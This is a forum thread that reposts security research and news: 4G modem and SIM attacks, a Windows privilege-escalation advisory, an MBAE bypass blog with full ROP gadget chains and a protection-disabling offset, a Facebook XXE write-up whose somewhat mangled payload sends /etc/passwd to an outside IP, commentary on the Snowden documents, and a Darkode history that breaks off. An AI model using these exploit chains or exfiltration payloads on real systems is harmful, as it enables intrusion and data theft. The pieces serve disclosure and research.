Nytro

[h=3]4G Security: Hacking USB Modem and SIM Card via SMS[/h] Telecommunications operators are pushing fast and cheap 4G communications technology. Yet only the chosen few know just how insecure it is. While researching the security level of 4G communications, Positive Technologies experts managed to uncover USB modem vulnerabilities that allow a potential attacker to gain full control of the connected computer as well as to access a subscriber account on a mobile operator portal. Additionally, attacks on a SIM card using a binary SMS allow an intruder to sniff and decrypt traffic or lock the SIM. The team presented their reports on the topic at the PacSec 2014 (Tokyo) and the 31C3 (Hamburg). In this article, we will give you the digest of this research conducted by Sergey Gordeychik, Alexander Zaitsev, Kirill Nesterov, Alexey Osipov, Timur Yunusov, Dmitry Sklyarov, Gleb Gritsai, Dmitry Kurbatov, Sergey Puzankov, and Pavel Novikov. First, we would like to say a couple of words about the main purpose of the research. It is not only the matter of security for trendy smartphones that we use to read news feed in social networks. Multiple critical infrastructures including industrial control systems (SCADA) also implement digital mobile communication based on the GSM standard. Another example from everyday life is having your money stolen from bank accounts. No one would like to become a victim of that. Yet you might have seen small antenna on ATMs. Yes, it is also GSM. A modern wireless modem is a computer that uses a well-known OS (usually Linux or Android) and a number of multifunctional applications. The software and data transfer protocols contain some vulnerabilities that attackers have successfully exploited in the last several years, say, to unlock a modem or to unbind it from the operator. To solve the problem in one blow, many services got transferred to the web. Yet it resulted in even more vulnerabilities. For the research purposes, we used 6 different series of USB modems with 30 different firmware versions. Only 3 firmwares proved to be hack-resistant. What did we manage to do to the rest of them? First, we identified the gear. The documentation and search engines helped us with that. In some cases Google was even more useful: it gave us the password for Telnet access. However, for external communications we need http, not Telnet. Just connect the modem to a computer and manage it as a separate network node with web applications. It gives you the opportunity to launch an attack via a browser (CSRF, XSS, RCE). This way you will force the modem to give out a lot of useful information about itself. Besides obtaining data, we may use the modem to do the following: change DNS settings (to sniff traffic), change SMS center settings (to intercept and interfere with SMS), change the password on the self-service portal by sending an SMS (to transfer money by subscribing to a third-party service), lock the modem by deliberately entering wrong PIN or PUK codes, remotely "update" the modem's firmware to a vulnerable version. You may advance your attack even further by accessing the computer connected to the hacked modem. One way to do it is to install a USB keyboard driver, which causes the computer to identify the modem as an input device. Use this pseudo keyboard to issue the command to reboot the system from an external disk, aka the very same modem. Then all that is left to do is to install a bootkit that allows you to remotely control the device. You may check out the video for visual evidence: The best countermeasure any ordinary user should take is stop inserting this and that into your USB ports. By "this and that" we also mean innocent-looking USB modems that appear to be such small and harmless communication devices. We dedicated the second part of our research to SIM cards. The fact that a SIM card is a computer with an OS, file system, and multifunctional applications was proven long ago. As the German cryptographer Karsten Nohl demonstrated at the Positive Hack Days conference, SIM applications (TARs) are protected in different ways. Some you may hack by brute-forcing DES keys. Some respond to an external command without any protection whatsoever and may give out a lot of sensitive information. To brute-force DES keys, we use a set of field-programmable gate arrays (FPGA), which became trendy for Bitcoin mining a couple of years ago and got cheaper after the hype was over. The speed of our 8 modules *ZTEX 1.15y board with the price tag of 2,000 Euro is 245.760 Mcrypt/sec. It is enough to obtain the key within 3 days. Then we may easily issue commands to well-known TARs and manage them; e.g. Card Manager allows installing a Java application to the SIM. Another curious TAR is a file system that stores TMSI (Temporary Mobile Subscriber Identity) and Kc (Ciphering Key). We may perform the following actions via a binary SMS: decrypt subscriber traffic without using brute force attacks on DES, spoof a subscriber's identity (receive his/her calls and SMS), track a subscriber's whereabouts, cause DOS by entering 3 wrong PIN codes and 10 wrong PUK codes in a row if PIN code is enabled for file system protection. It’s worth to note that the attack described above could successfully circumvent not only A5/1 (the most commonly used cellphone encryption algorithm for 2G networks), but also the stronger versions of encryption used in 3G and 4G. In conclusion, let us look at basic statistics. We used more than 100 SIM cards of different origin for the research, around 20% of those have vulnerabilities mentioned earlier, which means every fifth SIM card is flawed. Even so, it is hard to give any security advice to end users. These attacks are mostly targeting basic technological level vulnerabilities, and it is manufactures and telcos' task to fix them. The world press has already described this research as "SMS pwnage on MEELLIONS of flawed SIM cards, popular 4G modems". ?????: Positive Research ?? 11:26 PM Sursa: Positive Research Center: 4G Security: Hacking USB Modem and SIM Card via SMS

Windows: Elevation of Privilege in ahcache.sys/NtApphelpCacheControl Platform: Windows 8.1 Update 32/64 bit (No other OS tested) On Windows 8.1 update the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext. This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways. It is just then a case of finding a way to exploit the vulnerability. In the PoC a cache entry is made for an UAC auto-elevate executable (say ComputerDefaults.exe) and sets up the cache to point to the app compat entry for regsvr32 which forces a RedirectExe shim to reload regsvr32.exe. However any executable could be used, the trick would be finding a suitable pre-existing app compat configuration to abuse. It's unclear if Windows 7 is vulnerable as the code path for update has a TCB privilege check on it (although it looks like depending on the flags this might be bypassable). No effort has been made to verify it on Windows 7. NOTE: This is not a bug in UAC, it is just using UAC auto elevation for demonstration purposes. The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. I'd recommend running on 32 bit just to be sure. To verify perform the following steps: 1) Put the AppCompatCache.exe and Testdll.dll on disk 2) Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables). 3) Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll". 4) If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD] [/TD] [TD] poc.zip 110 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=118#c3

[h=3]MBAE (Malware Bytes Anti Exploit) Disarm[/h] Not very long ago, security industry shifted from malwares to exploits. Though malware industry still dominates the market due to its sophistication and reach, exploits are nothing but the new sexy. Just like in old days antivirus were starting up, exploit detection systems are increasing nowadays and malware enthusiasts are shifting towards this trend. Exploits can get you more money, much much more than what malware authors get by selling their creations. Not to mention the fame that goes with exploit development (automatically being a whitehat, if you disclosed a 0day responsibly or not) is also more in quantity and won't feel embarrassing to tell others as compared to a malware author. While malware authors are always considered blackhats, exploit authors are born whitehats even though they do shady business. =) Market trend gave away the two most used exploit detection free toolkits 1. EMET 2. MBAE And despite the false positives and fake alerts, they both pack quite a punch. After searching a while i found an article from offensive security which claimed to bypass EMET successfully. Though the method they used was out of the box, EMET doesn't get updated that regularly so its fine i guess. EMET disarming By OffSec TLDR: The logic behind this attack was a global switch which can be used to protect & unprotect applications. If you alter it, all protections go kaputt. In this blogpost i will be covering something similar to bypass all of MBAE's checks. [h=3]Epilogue[/h] for the sake of reader i have already hosted the POC of mbae bypass at my Github Acc POC: Github Note: i have modified a POC i got from a public forum, and simply added Rop Gadgets. [h=3]Prologue[/h] Kafeine had done quite a piece on malware bytes making them seem like a very different company offering a unique product. malware.dontneedcoffee [h=3]Story[/h] So i got my hands on MBAE. Pretty nice UI ima. Unlike most exploit authors, instead of working on a public heap corruption exploit i tried to execute my favourite and oldest exploit. The very first i ever laid my hands on, CVE-2010-3333. With html based exploits we have few advantages: 1. we can use DOM to check for presence of specific dll's (for detection of EMET or MBAE) 2. If we leverage information leak vuln, we can build a rop chain with static offsets from inside dll memory in runtime. 3. we can place strings on heap and address it, by relying on deterministic nature of heap. Thus planting strings in ROP gets easy (as done by offsec in their disarming EMET article) But in StackOverflows, only thing we have is EIP and 1 looooong ROP chain. However good for us, CVE-2010-3333 works on Windows XP-7 without ROP. On windows 8, DEP is enforced so it crashes. Nevertheless we will circumvent all that later. so i searched google for some public exploit POC, and i found one at a random forum. moment i executed that sample, MBAE caught it. Upon investigation i found out that MBAE was enforcing DEP in all processes it protected. Thus from XP-7 we cannot execute this exploit without ROP. So i went ahead and asked mona to generate a Rop Chain for VirtualProtect. Appending rop gadgets 0x78833e3c, # POP EAX # RETN 0x788011c0, # ptr to VirtualProtect() 0x788b53d1, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x788e4a48, # XCHG EAX,ESI # RETN 0x78832a79, # POP EBX # RETN 0x00000201, # 0x00000201-> ebx 0x7880a254, # POP EDX # RETN 0x00000040, # 0x00000040-> edx 0x78854775, # POP EBP # RETN 0x788b7b2b, # jmp esp 0x7889363e, # POP ECX # RETN 0x78922ad5, # &Writable location msxml5.dll 0x788fad49, # POP EDI # RETN 0x788880d4, # RETN (ROP NOP) 0x78833e3c, # POP EAX # RETN 0x90909090, # nop 0x788172ee, # PUSHAD # RETN The final exploit should work in Enforced DEP. However i was greeted by following upon detonation. Time to open the box VirtualProtect Seems Hooked Nothing useful inside first routine Interesting stuff VirtualProtect seems protected by CallPrecedenceCheck from RopGuard RopGuard_RopCheck - Ivan Fratric Moving on after checking is performed forward jump Actual Routine Prologue The automated systems i have seen by now perform nested hook filtering, meaning if they caught Kernelbase!VirtualProtect() they will skip Kernelbase!VirtualProtectEx() & Ntdll!ZwProtectVirtualMemory(). So it seems MBAE has only 1 protection which detects if return address was preceded by a call instruction. Lets see whats inside that protection then we can try to circumvent it. I was surprised to see this code, judging by the look it seems the developers of this tool quite 'literally' copied the code from RopGuard. When i say quite literally i do mean literally, because apparently they dont know what this code does. Allow me to give an insight return address - 3 is compared to 0xE8 (opcode for 16bit call instruction) if its equal then return a value which corresponds to legitimate reply. return address - 5 is compared to 0xE8 (opcode for 32bit call instruction) if its equal then return a value which corresponds to legitimate reply. When the developers blindly copied this code they perhaps didn't knew that 1. if ROP gadget which jumps into hooked api has either -5th or -3rd byte 0xE8, the check is failing 2. all a person has to do is search for this pattern in binary [?E8][XX][?E8][XX][XX][C3] to bypass the check 3. exploit author can simply VirtualProtect and return into stack at a nop sled which can be preceded by 0xE8 since we very well control stack to defeat this check easily 4. This mistake is repeated with return address -7 being compared to 0x9A (opcode for FAR CALL) and return address - 5 being compared to 0x9A again. (opcode for FAR call but with 16bit address) Blunder: Leaving aside the mistakes it has, the code is meant to be written for 32bit binaries. But apparently developers never bothered to check 1. If return address - 3 == 0xE8 && return address - 4 == 0x66 (prefix for 16bit call in 32bit address space) these two checks should be performed side by side for accuracy, but right now the check is if return address - 3 ==0xE8 || return addresss - 5 ==0xE8. 2. DWORD*(return address - 4) + return address - 5 should be equal to VirtualProtect, Apparently developers of this tool checked if there is a call instruction before return address but didn't check if that call is leading to hooked API or not. () (>_<) 3. If you do call a 16bit address from a 32bit address space you can only call upto 0xFFFF, if detection was concerned, no legitimate or illegitimate code can ever call an API within 0xFFFF because dll's are mapped at higher addresses closer to 0x7fffffff, Thus this check is nearly useless for detection as its useful for potential candidates looking to find flaws in this method. 4. I am pretty sure the author of RopGuard meant to simply include 16bit and 32bit Rop check in 1 package but he meant to use them one at a time depending on application architecture. But who cares. So it seems blind cope paste is not only done by engineering students, but by 'professional' developers also. VirtualProtect Returns into stack preceded by handcrafted dummy 0xE8 bytes thus bypassing ROP detection from call precedence check. While i crafted this chain by just altering 2 bytes off an already existing rop chain, i thought it would bypass MBAE completely. But it failed yet again. So i dug deeper. VirtualProtectEx is also hooked inside hook It seems that unlike usual methods of hooking 1 API and leaving its nested ones by using a global variable or a TLS entry for IPC, MBAE infact hooks all nested API's of VirtualProtect and performs different checks on either levels. Thus there are more checks, and that is why i wasn't able to bypass MBAE when using previous ROP chain with 2 modified bytes. VirtualProtectEx checking if lpAddress param of VirtualProtect is inside stack Checks inside ZwProtectVirtualMemory 1. StackPivot Check 2.RopGuardCallPrecedenceCheck 3.Checking if stack is being made executable Up until now, for VirtualProtect API there are only 3 protections which detect ROP. There are more protections to check if api call is from shellcode, but i dont think detecting that is necessary because once you get opcode execution these petty checks can be circumvented by n number of measures. one example being: changing PEB entry of loaded module to [x] and copying any PE header to shellcode -0x1000 address ([x]) which can be done in nearly 25 bytes using handcrafted optimized shellcode. [h=3]One Byte Issue[/h] To defeat all these protections, i followed offsec's approach. There was a global switch, a fixed offset which decided the fate of MBAE's protections. in previous images you might see a reoccurring instruction. cmp dword ptr ds:[<Magic_Offset>],0 je <mbae.LegitimateCall> This magic offset is actually a dword but it has only 2 possible values. 0 or 1 if its 0 all protections are disabled and this check will jump over detection mechanisms. if its 1 all protections are enabled and all checks will be performed with full functionality. (another way to bypass MBAE's shellcode checks) As of now December 10th 2014, this offset is 0x47C08. protection check Highlighted Now since we have a stack overflow, we cannot craft any data dynamically. So we have to perform a makeshift ROP chain which will somehow find mbae.dll's base address and then add offset to its value. Then moving null into that address. Then we can use our ROP chain used before. After 20 minutes of mind boggling i came up with following rop chain 0x78833e3c, # POP EAX # RETN 0x78801108, # GetModuleHandle Address from IAT 0x78830e9a, # MOV EAX,[EAX] # RETN 0x788543e9, # XCHG EAX,EDX # RETN 0x7882ab5d, # PUSH ESP # POP ESI # RETN 0x788e4a48, # XCHG EAX,ESI # RETN 0x788079f0, # POP EBP # RETN 0x0000008c, # offset from esp pointing towards mbae.dll 0x788d0ba7, # ADD EAX,EBP # RETN # eax points to mbae.dll 0x7889363e, # POP ECX # RETN 0x7889363f, # RETN 0x788fad49, # POP EDI # RETN 0x7889363f, # RETN 0x7880126c, # POP ESI # RETN 0x7888e209, # ADD ESP,0xC 0x788172ee, # PUSHAD # RETN #EAX gets base address of mbae.dll 0x788079f0, # POP EBP # RETN magic_offset, 0x788d0ba7, # ADD EAX,EBP # RETN # eax points to magic offset 0x7880A254, # POP EDX, RETN 0x00000000, # NULL 0x78907a82, # MOV [EAX],EDX # RETN 0x78833e3c, # POP EAX # RETN 0x788011c0, # ptr to VirtualProtect() 0x788b53d1, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x788e4a48, # XCHG EAX,ESI # RETN 0x78832a79, # POP EBX # RETN 0x00000201, # 0x00000201-> ebx 0x7880a254, # POP EDX # RETN 0x00000040, # 0x00000040-> edx 0x78854775, # POP EBP # RETN 0x788b7b2b, # jmp esp 0x7889363e, # POP ECX # RETN 0x78922ad5, # &Writable location msxml5.dll 0x788fad49, # POP EDI # RETN 0x788880d4, # RETN (ROP NOP) 0x78833e3c, # POP EAX # RETN 0x90909090, # nop 0x788172ee, # PUSHAD # RETN data appended: 9090eb09 6d6261652e646c6c00 (mbae.dll string) 909090909090909090909090909090909090 (nop sled) Since we had a stack overflow at our disposal, i had to embedd mbae.dll string in between nop sled, so ROP gadgets can take its address by reading esp. Had this been a Heap corruption vulnerability or a UAF, it would have been much more easy. Nevertheless i managed to bypass MBAE in nearly 40 gadgets, which means not much stack space is wasted. This offset can be utilized in browser exploits in a better way, exploits have the power to detect if they are running under malware bytes or emet's protection by reading system dll's. Up until now they just exit if they are running under such an environment, But it seems they dont need to. All an author has to do is simply change the gadgets as per exploit's requirement. This gadget chain can be reproduced very easily for any other kind of exploit, since the gadgets i used are not at all complicated and can be found in any dll with a very good probability. Afterwards this revelation, the exploit was fairly straightforward. After disabling MBAE, ROP gadgets trying to mark stack as RWX Et' Voila Posted by r41p41 at 12:06 Sursa: Scrutiny from an Inquisitive mind: MBAE (Malware Bytes Anti Exploit) Disarm

Abusing, Exploiting and Pwning with Firefox Add-ons Ajin Abraham AJINABRAHAM.COM www.keralacyberforce.in ajin25@gmail.com Abstract This paper discuss about a number of ways through which hackers can use Mozilla Firefox as a platform to run there malicious piece of code with all the privileges and features as that supported by any native programming languages. Also there is an advantage that these malicious codes remain stealthy and undetected against anti-virus solutions. Malicious Firefox add-ons can be coded to serve this purpose. Mozilla Firefox Browser Engine acts just like a compiler or interpreter to execute your codes without much security concerns. The coding technologies for add-on development can be abused and exploited to create malicious add-ons. This paper explains how Firefox’s insecure policies and add-on development technologies like JavaScript, CORS, Web Socket, XPCOM and XPConnect can be abused by a hacker for malicious purposes. The widely popular browser add-ons can be utilized by hackers to implement new malware attack vectors. This paper is supported by proof of concept add-ons which are developed by exploiting the weakness in Firefox add-on coding. The proof of concept includes the implementation of a local keylogger, a remote keylogger, spawning a reverse shell, stealing the Firefox user session data, stealing Linux password files and Distributed Denial of Service (DDoS) Attack. All of these attack vectors are fully undetectable against anti-virus solutions and can bypass filters or protection mechanisms. Download: http://www.exploit-db.com/wp-content/themes/exploit/docs/24541.pdf

[h=3]On the new Snowden documents[/h] If you don't follow NSA news obsessively, you might have missed yesterday’s massive Snowden document dump from Der Spiegel. The documents provide a great deal of insight into how the NSA breaks our cryptographic systems. I was very lightly involved in looking at some of this material, so I'm glad to see that it's been published (i.e., I can now stop looking over my shoulder). Unfortunately with so much material, it can be a bit hard to separate the signal from the noise. In this post I’m going to try to do that a little bit -- point out the bits that I think are interesting, the parts that are old news, and the things we should keep an eye on. Background Those who read this blog will know that I’ve been wondering for a long time how NSA works its way around our encryption. This isn't an academic question, since it affects just about everyone who uses technology today. What we've learned since 2013 is that NSA and its partners hoover up vast amounts of Internet traffic from fiber links around the world. Most of this data is plaintext and therefore easy to intercept. But at least some of it is encrypted -- typically protected by protocols such as SSL/TLS or IPSEC. Conventional wisdom pre-Snowden told us that the increasing use of encryption ought to have shut the agencies out of this data trove. Yet the documents we’ve seen so far indicate that the opposite has happened. Instead, the NSA and GCHQ has somehow been harvesting massive amounts of SSL/TLS and IPSEC traffic, and appear to be making inroads into other technologies such as Tor as well. How are they doing this? To repeat an old observation, there are basically three ways to crack an encrypted connection: Go after the mathematics. This is expensive and unlikely to work well against modern encryption algorithms (with a few exceptions). The leaked documents give very little evidence of such mathematical breaks — though a bit more on this below. Go after the implementation. The new documents confirm a previously-reported and aggressive effort to undermine commercial cryptographic implementations. The new documents provide context for how important this type of sabotage is to the NSA. Steal the keys. Of course, the easiest way to attack any cryptosystem is simply to steal the keys. Yesterday we received a bit more evidence that this is happening. I can’t possibly spend time on everything that’s covered by these documents — you should go read them yourself — so below I’m just going to focus on the highlights. Not so Good Will Hunting First, the disappointing part. The NSA may be the largest employer of cryptologic mathematicians in the United States, but — if the new story is any indication — those guys really aren’t pulling their weight. In fact, the only significant piece of cryptanalytic news in the entire stack comes is a 2008 undergraduate research project looking at AES. Sadly, this is about as unexciting as it sounds -- in fact it appears to be nothing more than a summer project by a visiting student. More interesting is the context it gives around the NSA’s efforts to break block ciphers such as AES, including the NSA's view of the difficulty of such cryptanalysis, and confirmation that NSA has some ‘in-house techniques’. Additionally, the documents include significant evidence that NSA has difficulty decrypting certain types of traffic, including Truecrypt, PGP/GPG, Tor and ZRTP from implementations such as RedPhone. Since these protocols share many of the same underlying cryptographic algorithms — RSA, Diffie-Hellman, ECDH and AES — some are presenting this as evidence that those primitives are cryptographically strong. As with the AES note above, this ‘good news’ should also be taken with a grain of salt. With a small number of exceptions, it seems increasingly obvious that the Snowden documents are geared towards NSA’s analysts and operations staff. In fact, many of the documents seem geared towards actually protecting knowledge of NSA's cryptanalytic capabilities from NSA's own operational staff (and other Five Eyes partners). As an analyst, it's quite possible you'll never learn why a given intercept was successfully decrypted. To put this a bit more succinctly: the lack of cryptanalytic red meat in these documents may not truly be representative of the NSA’s capabilities. It may simply be an artifact of Edward Snowden's clearances at the time he left the NSA. Tor One of the most surprising aspects of the Snowden documents — to those of us in the security research community anyway — is the NSA’s relative ineptitude when it comes to de-anonymizing users of the Tor anonymous communications network. The reason for our surprise is twofold. First, Tor was never really designed to stand up against a global passive adversary — that is, an attacker who taps a huge number of communications links. If there’s one thing we’ve learned from the Snowden leaks, the NSA (plus GCHQ) is the very definition of the term. In theory at least, Tor should be a relatively easy target for the agency. The real surprise, though, is that despite this huge signals intelligence advantage, the NSA has barely even tested their ability to de-anonymize users. In fact, this leak provides the first concrete evidence that NSA is experimenting with traffic confirmation attacks to find the source of Tor connections. Even more surprising, their techniques are relatively naive, even when compared to what’s going on in the ‘research’ community. This doesn’t mean you should view Tor as secure against the NSA. It seems very obvious that the agency has identified Tor as a high-profile target, and we know they have the resources to make much more headway against the network. The real surprise is that they haven’t tried harder. Maybe they're trying now. SSL/TLS and IPSEC A few months ago I wrote a long post speculating about how the NSA breaks SSL/TLS. Because it’s increasingly clear that the NSA does break these protocols, and at relatively large scale. The new documents don’t tell us much we didn’t already know, but they do confirm the basic outlines of the attack. The first portion requires endpoints around the world that are capable of performing the raw decryption of SSL/TLS sessions provided they know the session keys. The second is a separate infrastructure located on US soil that can recover those session keys when needed. All of the real magic happens within the key recovery infrastructure. These documents provide the first evidence that a major attack strategy for NSA/GCHQ involves key databases containing the private keys for major sites. For the RSA ciphersuites of TLS, a single private key is sufficient to recover vast amounts of session traffic — in real time or even after the fact. The interesting question is how the NSA gets those private keys. The easiest answer may be the least technical. A different Snowden leak shows gives some reason to believe that the NSA may have relationships with employees at specific named U.S. entities, and may even operate personnel “under cover”. This would certainly be one way to build a key database. But even without the James Bond aspect of this, there’s every reason to believe that NSA has other means to exfiltrate RSA keys from operators. During the period in question, we know of at least one vulnerability (Heartbleed) that could have been used to extract private keys from software TLS implementations. There are still other, unreported vulnerabilities that could be used today. Pretty much everything I said about SSL/TLS also applies to VPN protocols, with the additional detail that many VPNs use broken protocols and relatively poorly-secured pre-shared secrets. The NSA seems positively gleeful about this. Open Source packages: Redphone, Truecrypt, PGP and OTR The documents provide at least circumstantial evidence that some open source encryption technologies may thwart NSA surveillance. These include Truecrypt, ZRTP implementations such as RedPhone, PGP implementations, and Off the Record messaging. These packages have a few commonalities: They’re all open source, and relatively well studied by researchers. They’re not used at terribly wide scale (as compared to e.g., SSL or VPNs) They all work on an end-to-end basis and don’t involve service providers, software distributers, or other infrastructure that could be corrupted or attacked. What’s at least as interesting is which packages are not included on this list. Major corporate encryption protocols such as iMessage make no appearance in these documents, despite the fact that they ostensibly provide end-to-end encryption. This may be nothing. But given all we know about NSA’s access to providers, this is definitely worrying. A note on the ethics of the leak Before I finish, it's worth addressing one major issue with this reporting: are we, as citizens, entitled to this information? Would we be safer keeping it all under wraps? And is this all 'activist nonsense'? This story, more than some others, skates close to a line. I think it's worth talking about why this information is important. To sum up a complicated issue, we live in a world where targeted surveillance is probably necessary and inevitable. The evidence so far indicates that NSA is very good at this kind of work, despite some notable failuresin actually executing on the intelligence it produces. Unfortunately, the documents released so far also show that a great deal of NSA/GCHQ surveillance is not targeted at all. Vast amounts of data are scooped up indiscriminately, in the hope that some of it will someday prove useful. Worse, the NSA decided that this bulk surveillance justifies its efforts to undermine confidence in many of the security technologies that protect our own information systems. The President's own hand-picked review council has strongly recommended this practice be stopped, but their advice has -- to all appearances -- been largely disregarded. These are matters that are worthy of debate, but this debate that largely hasn't happened. Unfortunate if we can't enact changes to fix these problems, technology is probably about all that's left. Over the next few years encryption technologies are going to be widely deployed, not only by individuals but also by corporations desperately trying to reassure overseas customers who doubt the integrity of US technology. In that world, it's important to know what works and doesn't work. Insofar as this story tells us that, it makes us all better off. Posted by Matthew Green at 5:53 PM Sursa: A Few Thoughts on Cryptographic Engineering: On the new Snowden documents

@FarSe ?

China transform? cuptorul cu microunde în arm? non-letal? capabil? s? provoace dureri insuportabile Aurelian Mihai - 29 dec 2014 Instalat deasupra unui camion militar, dispozitivul botezat Poly WB-1 con?ine o versiune modificat? a magnetronului folosit pentru înc?lzirea rapid? a alimentelor în cuptorul cu microunde. Ajutat cu o anten? deflectoare, dispozitivul poate transmite un fascicul de unde radio cu intensitate redus? la distan?e de pân? la 1Km. Fasciculul cu lungime de und? de ordinul milimetrilor poate penetra doar straturile superioare ale pielii, suficient pentru a induce dureri insuportabile ?i senza?ie de arsur?. zoom inPoly WB-1 Prezentat? drept arm? neletal?, Poly WB-1 ar putea fi folosit? de autorit??i pentru dispersarea mul?imilor de protestatari ?i incapacitarea trupelor de solda?i pe câmpul de b?t?lie, stopând astfel conflictele armate f?r? a recurge la arme letale. Aparent, dispozitivul prea voluminos pentru a fi inclus în recuzita trupelor de ordine va fi instalat doar pe vehicule blindate ale armatei, complementând tradi?ionalele tunuri cu ap? sub presiune ?i arsenalul de gaze lacrimogene. Un dispozitiv similar numit Raytheon Active Denial System a mai fost testat ?i în Statele Unite în anul 2007 ca mijloc pentru controlul mul?imilor, îns? a fost abandonat în cele din urm? din cauza unor limit?ri de ordin tehnic. Aparent, prototipul creat necesita 18 ore pentru a porni ?i avea un consum uria? de combustibil la func?ionarea în regim de a?teptare. Probabil, publicitatea negativ? ?i tema autorit??ilor fa?? de reac?ia opiniei publice este de ajuns deocamdat? pentru a descuraja folosirea unei astfel de arme, existenta sa în arsenalul Chinei servind doar ca factor de intimidare. Sursa: China transform? cuptorul cu microunde în arm? non-letal? capabil? s? provoace dureri insuportabile

Facebook hacking using a forged Microsoft Word document By Delwyn Pinto on December 29, 2014 Facebook hacking using a forged Microsoft Word document Mohamed Ramadan, a white hat security researcher, has found a critical vulnerability in Facebook which lets user control using a forged Microsoft Word .docx file. Ramadan has successfully found vulnerabilities in major service providers like Google, Facebook, Twitter, Microsoft etc. and has been rewarded with bug bounty reward by them. Known Vulnerabilities It is a known fact that Facebook does not have the most secure servers in the world. Many people have reported high severity bugs since 2010 and the social network had also patched a dangerous XXE Vulnerability affecting OpenID in late 2013. An XXE (XML External Entity ) is a method that exploits a weak XML parsing mechanism. This attack may lead to the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system impacts. You can read more about these fixes here. Facebook had clarified that it had fixed all of its servers so finding another XXE vulnerability seemed highly unlikely. Yet Ramadan decided to continue his quest. After some digging, he came onto Facebook’s career page https://www.facebook.com/careers/ . He successfully uploaded his CV onto Facebook but he realized he could only upload files in PDF or .DOCX formats. A .docx file format is basically a zipped xml files developed by Microsoft and Ramadan saw a loophole in Facebook’s security system. He created a fake CV with forged Microsoft Word document and uploaded onto the the Facebook careers web page. He created an XML file with the following code written in it DOCTYPE root [ <!ENTITY % file SYSTEM “file:///etc/passwd”> dtd SYSTEM “http://197.37.102.90/ext.dtd”> %dtd; %send; ]=]=> Now he had a forged CV ready. He started a HTTP server running on Python on his local machine. He made a file named ext.dtd waiting in mohaab007 directory and here is the content of ext.dtd: <!ENTITY % all “ x25; send SYSTEM ‘http://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all; After uploading the forged Word CV he waited for response from Facebook website. As he states on his blog, “Now everything is good and then I uploaded CV.docx to https://www.facebook.com/careers/ and waited a minute but Nothing happened. I said to myself it is a total failure and I will check my Facebook profile instead and chat with some friends and play a game or something after this long FAILED try. I wasted about 15 minute or so chatting and browsing now it is time to stop python http server and close Facebook and everything . I was going to close my terminal window and I was shocked to see that something connected to my python http server” He had successfully managed to fool a Facebook server to connect to his server. In his own words, he could now exploit this connection to: DoS the parsing system by making it open, e.g.file:///dev/random | file:///dev/urandom | file://c:/con/con TCP scans using HTTP external entities (including behind firewalls since application servers often have worldview different from that of the attacker) Unauthorised access to data stored as XML files on the parsing system file system (of course the attacker still needs a way to get these data back) DoS on other systems (if parsing system is allowed to establish TCP connections to other systems) NTLM authentication material theft by initiating UNC file access to systems under attacker control (far fetched?) Doomsday scenario: A widely deployed and highly connected application vulnerable to this attack may be used for DDoS. Directory Listing, Read system and application files and in some cases execute system commands using php expect:// wrapper. Aftermath He tried to gain access to system files on the server, but failed to get access , most probably due to security mechanisms in place. But he was confident that the attack he managed to pull off was a Blind XXE Out Of Band (OOB) plus it was a time-consuming process because he needed to upload and wait the result after 15 minutes or more. Without further ado , he informed the social network of his findings. His findings were rejected outright the first time, with the following words. He responded to the Facebook’s security team by sending them the forged CV to which FB got back with following reply : He still was not satisfied and continued corresponding with the Facebook Security team, which ultimately realised the vulnerability in its file upload mechanism. Bounty Received Facebook has acknowledged the vulnerability and according to its policy, rewarded Ramadan for his research. They fixed the vulnerability by adding this line of code: “ libxml_disable_entity_loader(true)“ Following is a PoC video Ramadan uploaded on YouTube to showcase the vulnerability in Facebook Resource : Attack Secure Sursa: Hacking Facebook using a forged Microsoft Word document

[h=1]Darkode - Ode to LizardSquad (The Rise and Fall of a Private Community)[/h] For the 10 of you who don't know, darkode was on of the most active English-speaking "underground" cybercrime boards. The forum was started around 2009 by a coder named "Iserdo" and gained popularity off the back of Iserdo's bot, "Buterfly bot" (AKA Mariposa), which was sold there. [h=2]In The Beginning[/h] With Iserdo as admin, the main focus of darkode was selling and supporting his products; however, the success of butterfly bot lead to a rapid growth in user-base and quickly darkode became a popular malware marketplace, much sought after by English-speaking cybercriminals. As a result of growing popularity, the forum was turned invite-only and existing members were given a number of invites, which they could give out to whomever they chose. Of course the invite-only model just made membership more sought after and gained darkode a reputation as an elite underground forum. At some point around 2010, Iserdo left and the forum was handed over to Crim (the coder of CrimePack which was one of the early exploit kits), who also gave admin to fubar (the seller of the infamous NgrBot). [h=2]Access Refines[/h] In march 2012 a new access model was announced, the community became layered with "fresh fish" (level 0) as the basic membership, and "Level 1" (Trusted) as the upgraded membership. For fresh fish access, an applicant would need to be invited by another member, followed by completing an interview with an admin, In order to get level 1 access, existing members would need to prove themselves to the community and if given access, would be able to view/use the level 1 marketplace, which featured more exclusive products. There was also a special "Buyer" level created, which would only allow the user access to the marketplace and not the discussion or coding sections. Eventually access was further refined to disallow level 0 users from inviting people, and a level 2 section was created for highly trusted users (and was rumored to allow fraud, which was previously disallowed on the forum). [h=2]The Great Researcher War[/h] With darkode as a cybercrime hotspot, it's not really a huge surprise that people working in the security industry gained interest in getting access. Researchers such as Xylitol and Brian Krebs dedicated a big part of their blogs to having the inside scoop on darkode, and although admins were very proactive in seeking out and banning security researchers; there was always another hacker to pay off or account to hijack, resulting in numerous threads hating on researcher and Brian Krebs becoming a 